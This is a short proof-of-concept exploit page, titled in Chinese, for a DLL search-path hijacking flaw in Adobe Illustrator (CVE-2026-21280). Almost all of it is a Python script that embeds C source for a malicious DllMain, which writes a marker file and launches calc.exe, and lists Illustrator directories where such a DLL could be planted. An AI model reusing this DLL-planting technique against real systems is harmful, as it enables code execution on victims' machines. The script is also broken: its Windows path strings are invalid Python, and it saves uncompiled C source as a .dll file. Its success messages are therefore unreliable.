Adobe Illustrator不可信搜索路径漏洞导致远程代码执行

# CVE-2026-21280 PoC - Adobe Illustrator Untrusted Search Path # This PoC demonstrates how an attacker can exploit the search path vulnerability # by creating a malicious DLL that gets loaded by Illustrator import os import sys # Malicious DLL that will be placed in the search path MALICIOUS_DLL = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create a file to demonstrate code execution FILE *fp = fopen("C:\\\\Temp\\\\illustrator_pwned.txt", "w"); if (fp) { fprintf(fp, "Adobe Illustrator DLL Hijacking Successful!\\n"); fprintf(fp, "Arbitrary code executed at: %s\\n", __TIMESTAMP__); fclose(fp); } // Execute malicious payload system("calc.exe"); } return TRUE; } ''' def create_malicious_dll(): """Generate the malicious DLL source code""" dll_path = "malicious_illustrator.dll" with open(dll_path, 'w') as f: f.write(MALICIOUS_DLL) print(f"[+] Created malicious DLL: {dll_path}") return dll_path def place_in_search_path(target_dir): """Place the malicious DLL in Illustrator's search path""" dll_name = "malicious_illustrator.dll" target_path = os.path.join(target_dir, dll_name) # Copy malicious DLL to target directory # In real attack, this would be done via social engineering or other methods print(f"[!] In a real attack, DLL would be placed at: {target_path}") print("[!] When Illustrator loads, it will execute the malicious code") def main(): print("=" * 60) print("CVE-2026-21280 PoC - Adobe Illustrator Search Path Hijacking") print("=" * 60) create_malicious_dll() # Common Illustrator search paths that might be exploited search_paths = [ r"C:\Program Files\Adobe\Adobe Illustrator\Support Files\", r"C:\Users\Public\Documents\", r"C:\Temp\"] print("\n[!] Target Illustrator search paths:") for path in search_paths: print(f" - {path}") print("\n[!] Attack requires user to open malicious .ai file") print("[!] Illustrator will load malicious DLL from search path") print("[!] Arbitrary code execution achieved") if __name__ == "__main__": main()